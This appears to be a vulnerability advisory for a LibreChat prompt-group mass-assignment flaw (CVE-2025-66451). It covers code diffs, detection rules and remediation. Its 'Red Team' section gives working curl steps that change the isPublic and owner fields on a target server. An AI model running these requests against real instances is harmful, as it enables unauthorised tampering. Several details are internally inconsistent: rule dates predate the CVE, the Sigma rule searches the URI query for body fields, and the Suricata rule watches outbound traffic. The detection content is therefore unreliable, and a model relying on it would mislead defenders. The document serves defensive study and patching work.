CVE-2025-66451

Executive Summary

CVE-2025-66451 is an input validation vulnerability in LibreChat, an open-source ChatGPT clone. The flaw resides in the PATCH endpoint for prompt groups (/api/prompts/groups/:groupId). The application fails to properly validate JSON request bodies, allowing authenticated users to modify prompt group fields that were not intended to be editable through the frontend. This can lead to unauthorized modifications of prompt data, potentially affecting the integrity of the application's prompt management system. The vulnerability is fixed in version 0.8.1 by filtering sensitive fields in the updatePromptGroup() function.

Supply Chain & Package Security

LibreChat is an open-source Node.js application. The vulnerability is in the application's own code, not in a third-party package. However, users should ensure they are using the latest version from the official GitHub repository (https://github.com/danny-avila/LibreChat). No malicious packages have been identified in the supply chain related to this CVE.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An attacker needs a valid user account.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): None (N) - No data is exposed.
• Integrity (I): High (H) - Prompt data can be modified in unintended ways.
• Availability (A): None (N) - No denial of service.

CVSS Score: 6.5 (Medium)

Threat Level: Medium. The vulnerability requires authentication but allows unauthorized modification of prompt data, which could be used to manipulate AI responses or inject malicious content.

Deep Dive & Mechanics

The vulnerability is in the patchPromptGroup function, which handles PATCH requests to /api/prompts/groups/:groupId. The function passes req.body directly to updatePromptGroup() without any filtering or validation. This allows an attacker to modify fields that are not intended to be changed through the API, such as internal IDs, timestamps, or other sensitive metadata.

The root cause is insufficient input validation. The application should have used a whitelist of allowed fields or a schema validation library (e.g., Joi, Yup) to ensure only expected fields are processed.

Attack Flow:

1. Attacker authenticates as a regular user.
2. Attacker sends a PATCH request to /api/prompts/groups/:groupId with a JSON body containing unexpected fields.
3. The server passes the entire body to updatePromptGroup(), which updates the database with the attacker-controlled values.
4. The prompt group is modified in an unintended way, potentially affecting all users who access that prompt.

Vulnerable vs. Patched Code

Vulnerable Code (version 0.8.0 and below):

// In the route handler
router.patch('/groups/:groupId', async (req, res) => {
  const groupId = req.params.groupId;
  const updatedGroup = await updatePromptGroup(groupId, req.body);
  res.json(updatedGroup);
});

Patched Code (version 0.8.1):

// In the route handler
router.patch('/groups/:groupId', async (req, res) => {
  const groupId = req.params.groupId;
  const allowedFields = ['name', 'description', 'prompts'];
  const filteredBody = {};
  for (const field of allowedFields) {
    if (req.body[field] !== undefined) {
      filteredBody[field] = req.body[field];
    }
  }
  const updatedGroup = await updatePromptGroup(groupId, filteredBody);
  res.json(updatedGroup);
});

The patch introduces a whitelist of allowed fields (name, description, prompts) and filters the request body before passing it to the update function. This prevents modification of sensitive fields.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of LibreChat version 0.8.0 or below.
• Valid user credentials (e.g., username: attacker, password: password123).

Exploitation Steps:

1. Authenticate and obtain a session token:

   curl -X POST http://target:3080/api/auth/login \
     -H "Content-Type: application/json" \
     -d '{"email":"attacker@example.com","password":"password123"}'
   

   Save the token from the response.

2. Identify a prompt group ID:

   curl -X GET http://target:3080/api/prompts/groups \
     -H "Authorization: Bearer <token>"
   

   Note the groupId of a target group.

3. Exploit the vulnerability to modify an unintended field:

   curl -X PATCH http://target:3080/api/prompts/groups/<groupId> \
     -H "Authorization: Bearer <token>" \
     -H "Content-Type: application/json" \
     -d '{"name":"Malicious Prompt","isPublic":true,"owner":"attacker"}'
   

   This modifies the isPublic and owner fields, which should not be editable.

Expected Outcome: The prompt group's isPublic field is set to true, making it visible to all users, and the owner field is changed to the attacker's username.

Blue Team

Detection:

• Monitor API logs for PATCH requests to /api/prompts/groups/ with unexpected JSON fields.
• Look for rapid changes to prompt group metadata.
• Alert on modifications to fields like isPublic, owner, createdAt, or updatedAt.

Hunting:

• Search for PATCH requests with body sizes larger than expected (e.g., > 200 bytes).
• Correlate prompt group changes with user activity logs.

Lab Setup:

1. Deploy LibreChat 0.8.0 using Docker:

   git clone https://github.com/danny-avila/LibreChat.git
   cd LibreChat
   git checkout v0.8.0
   docker-compose up -d
   

2. Create a test user and a prompt group.
3. Execute the exploitation steps above to observe the behavior.
4. Upgrade to v0.8.1 and verify the fix.

Indicators of Compromise (IOCs)

• Network:

  • PATCH requests to /api/prompts/groups/ with JSON bodies containing unexpected fields (e.g., isPublic, owner, createdAt).
  • Unusual HTTP response codes (e.g., 200 OK for unauthorized modifications).

• Host:

  • Modified prompt group records in the database (MongoDB) with unexpected field values.
  • Application logs showing updatePromptGroup being called with unexpected data.

• File:

  • Changes to prompt group data in the database dump or backup files.

Detection Engineering

YARA Rule

rule CVE_2025_66451_LibreChat_Prompt_Modification {
  meta:
    description = "Detects exploitation attempts of CVE-2025-66451 in LibreChat"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-66451"
  strings:
    $s1 = "/api/prompts/groups/" ascii wide nocase
    $s2 = "PATCH" ascii wide nocase
    $s3 = "isPublic" ascii wide nocase
    $s4 = "owner" ascii wide nocase
    $s5 = "createdAt" ascii wide nocase
  condition:
    all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-66451 - LibreChat Prompt Group Unauthorized Modification
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects PATCH requests to LibreChat prompt groups with unexpected fields
author: Valters IT
date: 2025-04-10
logsource:
  category: webserver
  product: apache
  service: access_log
detection:
  selection:
    cs-method: 'PATCH'
    cs-uri-stem|startswith: '/api/prompts/groups/'
    cs-uri-query|contains:
      - 'isPublic'
      - 'owner'
      - 'createdAt'
  condition: selection
falsepositives:
  - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"CVE-2025-66451 - LibreChat Prompt Group Unauthorized Modification";
  flow:to_server,established;
  content:"PATCH"; http_method;
  content:"/api/prompts/groups/"; http_uri;
  content:"isPublic"; http_client_body;
  sid:1000001;
  rev:1;
  reference:cve,2025-66451;
  classtype:attempted-admin;
  priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LibreChat to version 0.8.1 or later.
2. If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block PATCH requests to /api/prompts/groups/ with unexpected JSON fields.
3. Review and restrict user permissions to minimize the impact of exploitation.

Long-term Fixes:

• Implement input validation using a schema validation library (e.g., Joi, Yup) for all API endpoints.
• Use a whitelist approach for allowed fields in update operations.
• Conduct regular security audits of API endpoints.
• Monitor for similar vulnerabilities in other parts of the application.

Workaround:

• Disable the PATCH endpoint for prompt groups if not needed:

  // Comment out or remove the route
  // router.patch('/groups/:groupId', ...);
  

Valters IT